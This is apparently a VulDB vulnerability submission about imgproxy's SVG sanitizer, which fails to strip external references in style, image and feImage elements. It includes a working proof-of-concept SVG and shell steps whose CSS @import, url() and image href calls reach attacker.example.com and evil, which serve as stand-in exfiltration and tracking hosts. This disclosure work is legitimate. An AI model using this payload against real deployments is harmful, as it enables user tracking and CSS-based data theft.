| Titre | https://github.com/imgproxy/ imgproxy v4.0.4 Improper Neutralization of Input During Web Page Generation (XSS |
|---|
| Description | SVG sanitizer does not strip external resource references in <style>, <image>, and <feImage> elements
### Summary
imgproxy's built-in SVG sanitizer (enabled by default via `IMGPROXY_SANITIZE_SVG=true`) removes `<script>`, `<iframe>`, and `on*` event-handler attributes but does not sanitize `<style>` tag content, `<image>` elements, or `<feImage>` filter elements. When imgproxy serves the "sanitized" SVG with `Content-Type: image/svg+xml` and `Content-Disposition: inline`, a browser that opens the URL will load the external resources referenced by those unstripped elements, enabling attacker-controlled CSS injection (via CSS `@import` / `url()`) and pixel-tracking.
### Details
The SVG sanitizer is implemented in `processing/svg/svg.go`. The `sanitizeElement` function only blocks specific tag names and attribute prefixes:
```go
// Strip <script> and <iframe> tags
if tagName == "script" || tagName == "iframe" {
return false
}
// Filter out unsafe attributes (such as on* events)
el.Attrs.Filter(func(attr *xmlparser.Attribute) bool {
_, unsafe := unsafeAttrs[attr.Name.Local()]
return !unsafe
})
```
No rule strips or sanitizes:
- The content of `<style>` elements, which may contain `@import url(https://attacker/)` or `background: url(...)` CSS properties
- `<image href="...">` SVG image elements pointing to arbitrary external URLs
- `<feImage href="...">` inside SVG `<filter>` elements
The server does set `Content-Security-Policy: script-src 'none'` on all responses (in `server/responsewriter/writer.go`), which blocks JavaScript execution (including `javascript:` URI navigation). However, `script-src 'none'` does not restrict CSS loading (`style-src` is absent) or image/resource loading (`img-src`, `default-src` are absent). External network requests from the above elements are therefore unrestricted.
imgproxy serves sanitized SVGs with `Content-Disposition: inline` by default (operator must opt in to `attachment` disposition via the `return_attachment` processing option). When a browser user navigates directly to an imgproxy URL that serves the sanitized SVG, the following occurs:
1. CSS `@import` triggers a GET to the attacker-controlled URL, potentially loading arbitrary CSS that can run CSS-based exfiltration attacks (CSS selector injection against co-rendered page content) or appear as visual phishing.
2. CSS `url()` in property values triggers resource-loading GET requests that leak the user's IP address and browser fingerprint to the attacker.
3. `<image href="...">` elements load their `href` target, again leaking the user's IP to an arbitrary server.
### PoC
Prerequisites:
- imgproxy running with default `IMGPROXY_SANITIZE_SVG=true` (which is the default), no HMAC key configured (or a signed URL)
- Attacker controls the source SVG served at `http://victim-app.example/uploads/attacker.svg`
- Victim navigates directly to the imgproxy URL in their browser (e.g., `https://imgproxy.victim.com/insecure/<base64>.svg`)
```bash
# Step 1: Attacker's SVG (already stored at a location imgproxy will fetch from)
cat > /tmp/attacker.svg <<'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<style>
@import url("https://attacker.example.com/steal.css");
.track { background: url("https://attacker.example.com/pixel?victim=1") }
</style>
<image href="https://attacker.example.com/track.gif" width="1" height="1"/>
<rect class="track" width="200" height="200" fill="blue"/>
</svg>
SVGEOF
# Step 2: Serve the SVG locally and request it via imgproxy
python3 -m http.server 9090 --directory /tmp &
docker run -d --name imgproxy_vuln_test --network=host \
-e IMGPROXY_SANITIZE_SVG=true \
-e IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES=true \
darthsim/imgproxy:latest
sleep 5 && curl -s http://localhost:8080/health
# Step 3: Request the "sanitized" SVG from imgproxy
ENCODED=$(python3 -c "import base64; print(base64.urlsafe_b64encode(b'http://localhost:9090/attacker.svg').rstrip(b'=').decode())")
curl -s "http://localhost:8080/insecure/${ENCODED}.svg"
# Output (actual observed response from imgproxy v4.0.4):
# <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
# <style>
# @import url("https://attacker.example.com/steal.css");
# .track { background: url("https://attacker.example.com/pixel?victim=1") }
# </style>
# <image href="https://attacker.example.com/track.gif" width="1" height="1"/>
# <rect class="track" width="200" height="200" fill="blue"/>
# </svg>
#
# Response headers include:
# Content-Security-Policy: script-src 'none'
# Content-Type: image/svg+xml
# Content-Disposition: inline; filename="attacker.svg"
#
# The external URLs are NOT removed. When this URL is opened in a browser,
# the browser performs GET requests to attacker.example.com for the CSS and image.
```
### Impact
When imgproxy is used to sanitize user-supplied SVG files and those sanitized SVGs are served inline to browser clients, an attacker who controls the source SVG can:
1. Load attacker-controlled CSS via `<style>@import url(https://evil/steal.css)</style>`, enabling CSS-based exfiltration attacks or visual phishing on the imgproxy domain.
2. Issue GET requests to arbitrary external servers via `<image href="...">` and CSS `url()`, leaking the viewing user's IP address, browser fingerprint, and the fact that they viewed the file.
The vulnerability is mitigated in contexts where SVGs are embedded in HTML via `<img>` tags (browsers block external requests from SVG loaded as an image) or when the `return_attachment` processing option is used (prevents browser rendering). It is relevant when operators rely on imgproxy's sanitizer to make SVGs safe for direct-URL delivery to end users.
|
|---|
| La source | ⚠️ https://github.com/imgproxy/imgproxy/issues/1708 |
|---|
| Utilisateur | geochen (UID 78995) |
|---|
| Soumission | 19/09/2026 16:19 (il y a 17 jours) |
|---|
| Modérer | 05/10/2026 20:34 (16 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 413711 [imgproxy jusqu’à 4.0.17 SVG processing/svg/svg.go sanitizeElement cross site scripting] |
|---|
| Points | 20 |
|---|